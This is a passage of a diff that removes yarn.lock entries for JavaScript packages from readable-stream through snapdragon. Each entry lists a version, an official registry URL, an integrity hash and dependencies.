-integrity sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==
-dependencies:
-core-util-is "~1.0.0"
-inherits "~2.0.3"
-isarray "~1.0.0"
-process-nextick-args "~2.0.0"
-safe-buffer "~5.1.1"
-string_decoder "~1.1.1"
-util-deprecate "~1.0.1"
-
-readable-stream@^3.1.1, readable-stream@^3.6.0:
-version "3.6.0"
-resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198"
-integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==
-dependencies:
-inherits "^2.0.3"
-string_decoder "^1.1.1"
-util-deprecate "^1.0.1"
-
-readdirp@^2.2.1:
-version "2.2.1"
-resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-2.2.1.tgz#0e87622a3325aa33e892285caf8b4e846529a525"
-integrity sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==
-dependencies:
-graceful-fs "^4.1.11"
-micromatch "^3.1.10"
-readable-stream "^2.0.2"
-
-readdirp@~3.4.0:
-version "3.4.0"
-resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.4.0.tgz#9fdccdf9e9155805449221ac645e8303ab5b9ada"
-integrity sha512-0xe001vZBnJEK+uKcj8qOhyAKPzIT+gStxWr3LCB0DwcXR5NZJ3IaC+yGnHCYzB/S7ov3m3EEbZI2zeNvX+hGQ==
-dependencies:
-picomatch "^2.2.1"
-
-regenerate-unicode-properties@^8.2.0:
-version "8.2.0"
-resolved "https://registry.yarnpkg.com/regenerate-unicode-properties/-/regenerate-unicode-properties-8.2.0.tgz#e5de7111d655e7ba60c057dbe9ff37c87e65cdec"
-integrity sha512-F9DjY1vKLo/tPePDycuH3dn9H1OTPIkVD9Kz4LODu+F2C75mgjAJ7x/gwy6ZcSNRAAkhNlJSOHRe8k3p+K9WhA==
-dependencies:
-regenerate "^1.4.0"
-
-regenerate@^1.4.0:
-version "1.4.1"
-resolved "https://registry.yarnpkg.com/regenerate/-/regenerate-1.4.1.tgz#cad92ad8e6b591773485fbe05a485caf4f457e6f"
-integrity sha512-j2+C8+NtXQgEKWk49MMP5P/u2GhnahTtVkRIHr5R5lVRlbKvmQ+oS+A5aLKWp2ma5VkT8sh6v+v4hbH0YHR66A==
-
-regenerator-runtime@^0.10.5:
-version "0.10.5"
-resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.10.5.tgz#336c3efc1220adcedda2c9fab67b5a7955a33658"
-integrity sha1-M2w+/BIgrc7dosn6tntaeVWjNlg=
-
-regenerator-runtime@^0.11.0:
-version "0.11.1"
-resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz#be05ad7f9bf7d22e056f9726cee5017fbf19e2e9"
-integrity sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==
-
-regenerator-runtime@^0.13.4:
-version "0.13.5"
-resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz#d878a1d094b4306d10b9096484b33ebd55e26697"
-integrity sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==
-
-regenerator-transform@^0.14.2:
-version "0.14.4"
-resolved "https://registry.yarnpkg.com/regenerator-transform/-/regenerator-transform-0.14.4.tgz#5266857896518d1616a78a0479337a30ea974cc7"
-integrity sha512-EaJaKPBI9GvKpvUz2mz4fhx7WPgvwRLY9v3hlNHWmAuJHI13T4nwKnNvm5RWJzEdnI5g5UwtOww+S8IdoUC2bw==
-dependencies:
-"@babel/runtime" "^7.8.4"
-private "^0.1.8"
-
-regex-not@^1.0.0, regex-not@^1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/regex-not/-/regex-not-1.0.2.tgz#1f4ece27e00b0b65e0247a6810e6a85d83a5752c"
-integrity sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==
-dependencies:
-extend-shallow "^3.0.2"
-safe-regex "^1.1.0"
-
-regexpu-core@^4.6.0, regexpu-core@^4.7.0:
-version "4.7.0"
-resolved "https://registry.yarnpkg.com/regexpu-core/-/regexpu-core-4.7.0.tgz#fcbf458c50431b0bb7b45d6967b8192d91f3d938"
-integrity sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==
-dependencies:
-regenerate "^1.4.0"
-regenerate-unicode-properties "^8.2.0"
-regjsgen "^0.5.1"
-regjsparser "^0.6.4"
-unicode-match-property-ecmascript "^1.0.4"
-unicode-match-property-value-ecmascript "^1.2.0"
-
-regjsgen@^0.5.1:
-version "0.5.2"
-resolved "https://registry.yarnpkg.com/regjsgen/-/regjsgen-0.5.2.tgz#92ff295fb1deecbf6ecdab2543d207e91aa33733"
-integrity sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==
-
-regjsparser@^0.6.4:
-version "0.6.4"
-resolved "https://registry.yarnpkg.com/regjsparser/-/regjsparser-0.6.4.tgz#a769f8684308401a66e9b529d2436ff4d0666272"
-integrity sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==
-dependencies:
-jsesc "~0.5.0"
-
-relateurl@^0.2.7:
-version "0.2.7"
-resolved "https://registry.yarnpkg.com/relateurl/-/relateurl-0.2.7.tgz#54dbf377e51440aca90a4cd274600d3ff2d888a9"
-integrity sha1-VNvzd+UUQKypCkzSdGANP/LYiKk=
-
-remove-trailing-separator@^1.0.1:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz#c24bce2a283adad5bc3f58e0d48249b92379d8ef"
-integrity sha1-wkvOKig62tW8P1jg1IJJuSN52O8=
-
-repeat-element@^1.1.2:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/repeat-element/-/repeat-element-1.1.3.tgz#782e0d825c0c5a3bb39731f84efee6b742e6b1ce"
-integrity sha512-ahGq0ZnV5m5XtZLMb+vP76kcAM5nkLqk0lpqAuojSKGgQtn4eRi4ZZGm2olo2zKFH+sMsWaqOCW1dqAnOru72g==
-
-repeat-string@^1.6.1:
-version "1.6.1"
-resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637"
-integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc=
-
-request-promise-core@1.1.3:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/request-promise-core/-/request-promise-core-1.1.3.tgz#e9a3c081b51380dfea677336061fea879a829ee9"
-integrity sha512-QIs2+ArIGQVp5ZYbWD5ZLCY29D5CfWizP8eWnm8FoGD1TX61veauETVQbrV60662V0oFBkrDOuaBI8XgtuyYAQ==
-dependencies:
-lodash "^4.17.15"
-
-request-promise-native@^1.0.5, request-promise-native@^1.0.8:
-version "1.0.8"
-resolved "https://registry.yarnpkg.com/request-promise-native/-/request-promise-native-1.0.8.tgz#a455b960b826e44e2bf8999af64dff2bfe58cb36"
-integrity sha512-dapwLGqkHtwL5AEbfenuzjTYg35Jd6KPytsC2/TLkVMz8rm+tNt72MGUWT1RP/aYawMpN6HqbNGBQaRcBtjQMQ==
-dependencies:
-request-promise-core "1.1.3"
-stealthy-require "^1.1.1"
-tough-cookie "^2.3.3"
-
-request@^2.88.0, request@^2.88.2:
-version "2.88.2"
-resolved "https://registry.yarnpkg.com/request/-/request-2.88.2.tgz#d73c918731cb5a87da047e207234146f664d12b3"
-integrity sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==
-dependencies:
-aws-sign2 "~0.7.0"
-aws4 "^1.8.0"
-caseless "~0.12.0"
-combined-stream "~1.0.6"
-extend "~3.0.2"
-forever-agent "~0.6.1"
-form-data "~2.3.2"
-har-validator "~5.1.3"
-http-signature "~1.2.0"
-is-typedarray "~1.0.0"
-isstream "~0.1.2"
-json-stringify-safe "~5.0.1"
-mime-types "~2.1.19"
-oauth-sign "~0.9.0"
-performance-now "^2.1.0"
-qs "~6.5.2"
-safe-buffer "^5.1.2"
-tough-cookie "~2.5.0"
-tunnel-agent "^0.6.0"
-uuid "^3.3.2"
-
-require-directory@^2.1.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/require-directory/-/require-directory-2.1.1.tgz#8c64ad5fd30dab1c976e2344ffe7f792a6a6df42"
-integrity sha1-jGStX9MNqxyXbiNE/+f3kqam30I=
-
-require-main-filename@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/require-main-filename/-/require-main-filename-2.0.0.tgz#d0b329ecc7cc0f61649f62215be69af54aa8989b"
-integrity sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==
-
-resolve-cwd@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/resolve-cwd/-/resolve-cwd-3.0.0.tgz#0f0075f1bb2544766cf73ba6a6e2adfebcb13f2d"
-integrity sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==
-dependencies:
-resolve-from "^5.0.0"
-
-resolve-from@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-3.0.0.tgz#b22c7af7d9d6881bc8b6e653335eebcb0a188748"
-integrity sha1-six699nWiBvItuZTM17rywoYh0g=
-
-resolve-from@^5.0.0:
-version "5.0.0"
-resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-5.0.0.tgz#c35225843df8f776df21c57557bc087e9dfdfc69"
-integrity sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==
-
-resolve-url@^0.2.1:
-version "0.2.1"
-resolved "https://registry.yarnpkg.com/resolve-url/-/resolve-url-0.2.1.tgz#2c637fe77c893afd2a663fe21aa9080068e2052a"
-integrity sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo=
-
-resolve@^1.1.5, resolve@^1.10.0, resolve@^1.17.0, resolve@^1.3.2, resolve@^1.4.0:
-version "1.17.0"
-resolved "https://registry.yarnpkg.com/resolve/-/resolve-1.17.0.tgz#b25941b54968231cc2d1bb76a79cb7f2c0bf8444"
-integrity sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==
-dependencies:
-path-parse "^1.0.6"
-
-restore-cursor@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-2.0.0.tgz#9f7ee287f82fd326d4fd162923d62129eee0dfaf"
-integrity sha1-n37ih/gv0ybU/RYpI9YhKe7g368=
-dependencies:
-onetime "^2.0.0"
-signal-exit "^3.0.2"
-
-ret@~0.1.10:
-version "0.1.15"
-resolved "https://registry.yarnpkg.com/ret/-/ret-0.1.15.tgz#b8a4825d5bdb1fc3f6f53c2bc33f81388681c7bc"
-integrity sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==
-
-rgb-regex@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/rgb-regex/-/rgb-regex-1.0.1.tgz#c0e0d6882df0e23be254a475e8edd41915feaeb1"
-integrity sha1-wODWiC3w4jviVKR16O3UGRX+rrE=
-
-rgba-regex@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/rgba-regex/-/rgba-regex-1.0.0.tgz#43374e2e2ca0968b0ef1523460b7d730ff22eeb3"
-integrity sha1-QzdOLiyglosO8VI0YLfXMP8i7rM=
-
-rimraf@^2.6.2:
-version "2.7.1"
-resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.7.1.tgz#35797f13a7fdadc566142c29d4f07ccad483e3ec"
-integrity sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==
-dependencies:
-glob "^7.1.3"
-
-rimraf@^3.0.0:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-3.0.2.tgz#f1a5402ba6220ad52cc1282bac1ae3aa49fd061a"
-integrity sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==
-dependencies:
-glob "^7.1.3"
-
-ripemd160@^2.0.0, ripemd160@^2.0.1:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c"
-integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==
-dependencies:
-hash-base "^3.0.0"
-inherits "^2.0.1"
-
-rsvp@^4.8.4:
-version "4.8.5"
-resolved "https://registry.yarnpkg.com/rsvp/-/rsvp-4.8.5.tgz#c8f155311d167f68f21e168df71ec5b083113734"
-integrity sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==
-
-rxjs@^6.5.5:
-version "6.5.5"
-resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.5.5.tgz#c5c884e3094c8cfee31bf27eb87e54ccfc87f9ec"
-integrity sha512-WfQI+1gohdf0Dai/Bbmk5L5ItH5tYqm3ki2c5GdWhKjalzjg93N3avFjVStyZZz+A2Em+ZxKH5bNghw9UeylGQ==
-dependencies:
-tslib "^1.9.0"
-
-safe-buffer@5.1.2, safe-buffer@~5.1.0, safe-buffer@~5.1.1:
-version "5.1.2"
-resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
-integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
-
-safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0:
-version "5.2.1"
-resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
-integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
-
-safe-regex@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/safe-regex/-/safe-regex-1.1.0.tgz#40a3669f3b077d1e943d44629e157dd48023bf2e"
-integrity sha1-QKNmnzsHfR6UPURinhV91IAjvy4=
-dependencies:
-ret "~0.1.10"
-
-"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.0.2, safer-buffer@^2.1.0, safer-buffer@~2.1.0:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
-integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
-
-sane@^4.0.3:
-version "4.1.0"
-resolved "https://registry.yarnpkg.com/sane/-/sane-4.1.0.tgz#ed881fd922733a6c461bc189dc2b6c006f3ffded"
-integrity sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==
-dependencies:
-"@cnakazawa/watch" "^1.0.3"
-anymatch "^2.0.0"
-capture-exit "^2.0.0"
-exec-sh "^0.3.2"
-execa "^1.0.0"
-fb-watchman "^2.0.0"
-micromatch "^3.1.4"
-minimist "^1.1.1"
-walker "~1.0.5"
-
-sanitize.css@^11.0.1:
-version "11.0.1"
-resolved "https://registry.yarnpkg.com/sanitize.css/-/sanitize.css-11.0.1.tgz#e275e5e81a671adc34a8d36efd4182df0d5d4b93"
-integrity sha512-Q762QXJGHIyFLayll6zUueGKslmGxNpbEDpSB/sdaZ9Xgz+v6AYlVc5P49sorc9cPR9y47npHBfXswGo1I32tg==
-
-sass@^1.26.8:
-version "1.26.8"
-resolved "https://registry.yarnpkg.com/sass/-/sass-1.26.8.tgz#312652530721f9568d4c4000b0db07ec6eb23325"
-integrity sha512-yvtzyrKLGiXQu7H12ekXqsfoGT/aTKeMDyVzCB675k1HYuaj0py63i8Uf4SI9CHXj6apDhpfwbUr3gGOjdpu2Q==
-dependencies:
-chokidar ">=2.0.0 <4.0.0"
-
-sax@~1.2.4:
-version "1.2.4"
-resolved "https://registry.yarnpkg.com/sax/-/sax-1.2.4.tgz#2816234e2378bddc4e5354fab5caa895df7100d9"
-integrity sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw==
-
-saxes@^3.1.9:
-version "3.1.11"
-resolved "https://registry.yarnpkg.com/saxes/-/saxes-3.1.11.tgz#d59d1fd332ec92ad98a2e0b2ee644702384b1c5b"
-integrity sha512-Ydydq3zC+WYDJK1+gRxRapLIED9PWeSuuS41wqyoRmzvhhh9nc+QQrVMKJYzJFULazeGhzSV0QleN2wD3boh2g==
-dependencies:
-xmlchars "^2.1.1"
-
-saxes@^5.0.0:
-version "5.0.1"
-resolved "https://registry.yarnpkg.com/saxes/-/saxes-5.0.1.tgz#eebab953fa3b7608dbe94e5dadb15c888fa6696d"
-integrity sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==
-dependencies:
-xmlchars "^2.2.0"
-
-select@^1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d"
-integrity sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0=
-
-"semver@2 || 3 || 4 || 5", semver@^5.3.0, semver@^5.4.1, semver@^5.5.0:
-version "5.7.1"
-resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.1.tgz#a954f931aeba508d307bbf069eff0c01c96116f7"
-integrity sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==
-
-semver@7.0.0:
-version "7.0.0"
-resolved "https://registry.yarnpkg.com/semver/-/semver-7.0.0.tgz#5f3ca35761e47e05b206c6daff2cf814f0316b8e"
-integrity sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==
-
-semver@^6.0.0, semver@^6.3.0:
-version "6.3.0"
-resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d"
-integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==
-
-semver@^7.2.1, semver@^7.3.2:
-version "7.3.2"
-resolved "https://registry.yarnpkg.com/semver/-/semver-7.3.2.tgz#604962b052b81ed0786aae84389ffba70ffd3938"
-integrity sha512-OrOb32TeeambH6UrhtShmF7CRDqhL6/5XpPNp2DuRH6+9QLw/orhp72j87v8Qa1ScDkvrrBNpZcDejAirJmfXQ==
-
-send@0.17.1:
-version "0.17.1"
-resolved "https://registry.yarnpkg.com/send/-/send-0.17.1.tgz#c1d8b059f7900f7466dd4938bdc44e11ddb376c8"
-integrity sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==
-dependencies:
-debug "2.6.9"
-depd "~1.1.2"
-destroy "~1.0.4"
-encodeurl "~1.0.2"
-escape-html "~1.0.3"
-etag "~1.8.1"
-fresh "0.5.2"
-http-errors "~1.7.2"
-mime "1.6.0"
-ms "2.1.1"
-on-finished "~2.3.0"
-range-parser "~1.2.1"
-statuses "~1.5.0"
-
-serialize-to-js@^3.0.0:
-version "3.1.1"
-resolved "https://registry.yarnpkg.com/serialize-to-js/-/serialize-to-js-3.1.1.tgz#b3e77d0568ee4a60bfe66287f991e104d3a1a4ac"
-integrity sha512-F+NGU0UHMBO4Q965tjw7rvieNVjlH6Lqi2emq/Lc9LUURYJbiCzmpi4Cy1OOjjVPtxu0c+NE85LU6968Wko5ZA==
-
-serve-static@1.14.1, serve-static@^1.12.4:
-version "1.14.1"
-resolved "https://registry.yarnpkg.com/serve-static/-/serve-static-1.14.1.tgz#666e636dc4f010f7ef29970a88a674320898b2f9"
-integrity sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==
-dependencies:
-encodeurl "~1.0.2"
-escape-html "~1.0.3"
-parseurl "~1.3.3"
-send "0.17.1"
-
-set-blocking@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/set-blocking/-/set-blocking-2.0.0.tgz#045f9782d011ae9a6803ddd382b24392b3d890f7"
-integrity sha1-BF+XgtARrppoA93TgrJDkrPYkPc=
-
-set-value@^2.0.0, set-value@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/set-value/-/set-value-2.0.1.tgz#a18d40530e6f07de4228c7defe4227af8cad005b"
-integrity sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==
-dependencies:
-extend-shallow "^2.0.1"
-is-extendable "^0.1.1"
-is-plain-object "^2.0.3"
-split-string "^3.0.1"
-
-setimmediate@^1.0.4:
-version "1.0.5"
-resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285"
-integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU=
-
-setprototypeof@1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683"
-integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==
-
-sha.js@^2.4.0, sha.js@^2.4.8:
-version "2.4.11"
-resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7"
-integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==
-dependencies:
-inherits "^2.0.1"
-safe-buffer "^5.0.1"
-
-shallow-copy@~0.0.1:
-version "0.0.1"
-resolved "https://registry.yarnpkg.com/shallow-copy/-/shallow-copy-0.0.1.tgz#415f42702d73d810330292cc5ee86eae1a11a170"
-integrity sha1-QV9CcC1z2BAzApLMXuhurhoRoXA=
-
-shebang-command@^1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
-integrity sha1-RKrGW2lbAzmJaMOfNj/uXer98eo=
-dependencies:
-shebang-regex "^1.0.0"
-
-shebang-command@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
-integrity sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==
-dependencies:
-shebang-regex "^3.0.0"
-
-shebang-regex@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
-integrity sha1-2kL0l0DAtC2yypcoVxyxkMmO/qM=
-
-shebang-regex@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-3.0.0.tgz#ae16f1644d873ecad843b0307b143362d4c42172"
-integrity sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==
-
-shell-quote@^1.6.1:
-version "1.7.2"
-resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2"
-integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg==
-
-shellwords@^0.1.1:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/shellwords/-/shellwords-0.1.1.tgz#d6b9181c1a48d397324c84871efbcfc73fc0654b"
-integrity sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==
-
-signal-exit@^3.0.0, signal-exit@^3.0.2:
-version "3.0.3"
-resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.3.tgz#a1410c2edd8f077b08b4e253c8eacfcaf057461c"
-integrity sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==
-
-simple-swizzle@^0.2.2:
-version "0.2.2"
-resolved "https://registry.yarnpkg.com/simple-swizzle/-/simple-swizzle-0.2.2.tgz#a4da6b635ffcccca33f70d17cb92592de95e557a"
-integrity sha1-pNprY1/8zMoz9w0Xy5JZLeleVXo=
-dependencies:
-is-arrayish "^0.3.1"
-
-sisteransi@^1.0.4:
-version "1.0.5"
-resolved "https://registry.yarnpkg.com/sisteransi/-/sisteransi-1.0.5.tgz#134d681297756437cc05ca01370d3a7a571075ed"
-integrity sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==
-
-slash@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/slash/-/slash-1.0.0.tgz#c41f2f6c39fc16d1cd17ad4b5d896114ae470d55"
-integrity sha1-xB8vbDn8FtHNF61LXYlhFK5HDVU=
-
-slash@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/slash/-/slash-3.0.0.tgz#6539be870c165adbd5240220dbe361f1bc4d4634"
-integrity sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==
-
-snapdragon-node@^2.0.1:
-version "2.1.1"
-resolved "https://registry.yarnpkg.com/snapdragon-node/-/snapdragon-node-2.1.1.tgz#6c175f86ff14bdb0724563e8f3c1b021a286853b"
-integrity sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==
-dependencies:
-define-property "^1.0.0"
-isobject "^3.0.0"
-snapdragon-util "^3.0.1"
-
-snapdragon-util@^3.0.1:
-version "3.0.1"
-resolved "https://registry.yarnpkg.com/snapdragon-util/-/snapdragon-util-3.0.1.tgz#f956479486f2acd79700693f6f7b805e45ab56e2"
-integrity sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==
-dependencies:
-kind-of "^3.2.0"
-
-snapdragon@^0.8.1:
-version "0.8.2"
-resolved "https://registry.yarnpkg.com/snapdragon/-/snapdragon-0.8.2.tgz#64922e7c565b0e14204ba1aa7d6964278d25182d"
